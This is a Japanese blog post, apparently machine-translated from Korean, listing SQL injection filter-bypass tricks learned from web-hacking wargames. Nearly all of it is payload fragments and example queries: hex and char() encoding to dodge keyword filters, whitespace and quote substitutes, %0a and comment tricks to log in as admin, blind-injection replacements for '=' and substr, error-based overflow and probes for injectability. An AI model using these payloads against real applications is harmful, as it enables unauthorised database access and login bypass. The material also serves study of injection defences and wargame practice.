SQL Injection バイパス技法まとめ
ウェブハッキングのウォーゲームを解きながら学んだ SQL Injection バイパス技法集
この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。
原文(韓国語)を読むこれまでウェブハッキングのウォーゲームを解きながら気づいた(?)バイパス技法を整理しようと思います。
すべて手作業で、記憶を頼りに書いているため、抜けている部分もあるかと思います。
思い出し次第、追記して修正していきます。
- or, and
: ||, &&
- String Filtering (Ex. preg_match - admin など)
: admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)
- char() の場合、他の進数でも使用可能
- Blind SQL Injection 時の '='(Equal) Filtering
: substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')
- substr filtering
: right(left('abc',1),1), id>0x41444d4941 ('ADMIN' は 'ADMIA' より hex 値が大きい)
- ereg, eregi
: 'admin' のフィルタリング時、'AdmIN' などでバイパス可能
: 先頭に %00 を挿入すると、後ろの文字がフィルタリングされない
- replace, replaceAll
: 'admin' のフィルタリング時、'adadminmin' などでバイパス可能
- numeric character filtering
: 0 -> '!'='@'
: 1 -> '!'='!' などで、true、false および数式を利用して数字を表現可能
- White Space Filtering (%20)
: %20 -> %0a %0b %0c %0d %09
- Single Quote Filtering (%27)
: Single Quote の中で Double quote を使うと解決する場合もある
: 特殊な条件下では %bf%27 で Multibyte を作ってフィルタリングをバイパスできることもある (ただしほとんどないケース)
: '' バックスラッシュ文字がフィルタリングされていない場合、次のような状況でバイパス可能
ex. select test1 from test where id='' and pw='or 1#
-> parameter : id=&pw=%20or%201%23
- コメント
: #, --,;%00, /* */
- コメントを利用した SQL Injection
: '#' のコメント範囲は 1 line である。1 line を分ける基準は %0a で分かれるため、下記の例のような SQL Injection を実行できる。
- select test1 from test where id='abc'# and pw='%0aor id='admin'%23
: /* */
- select test1 from test where id='abc'/* and pw=''*/or id='admin'%23
- Blind SQL Injection 時、sub query の結果として複数の row が返ってくるが where 文を使えないとき
: max(column_name), min(column_name), group_concat(column_name)
- テーブル名、カラム名を調べる必要があるとき
: select test1 from test where id='admin' and pw='1234' procedure analyse();
- limit 2,1 などと一緒に使用して、必要なカラム名を一行で抽出できる
- Error Based SQL Injection を行うとき
: 0xfffffffffffff*0xfffffffffffff を行うと、Integer の範囲超過エラーが発生する
- MultiByte Character SQL Injection
: 'test1' フィールドの文字が ASCII コードではなくマルチバイト文字(ex. UTF-32 など)の場合は、次のような方法で SQL Injection を実行できる。
- substr(hex(test1),1,1)=0x41
※ MultiByte Character かどうかを調べる方法としては、'>' と '<' を利用して範囲を絞り込んでいく際に、文字の範囲が例えば 20 と 21 の間として出てくる場合(ASCII 文字の範囲が小数点で出てくることはない)、マルチバイト文字だと推測できる。
- SQL Injection が効くか調べるとき
: ' (シングルクォート)を使ったときにエラーが出るか
: ' and '1'='1 , ' and '1'='2 を使ったとき、前者は正常に出力され、後者は出力されないか
: ' or '1'='1 を使ったとき、正常に出力されるか
: 数字で構成されたカラム (ex. idx=23001) を idx=23002-1 として入れたとき、正常に出力されるか
: '||' を使ったとき、正常に出力されるか ( Restrict. DB が Oracle で、データ型が Varchar として宣言されているとき )
: コメントを使うときは #(%23), -- (--%20), %0a
コメント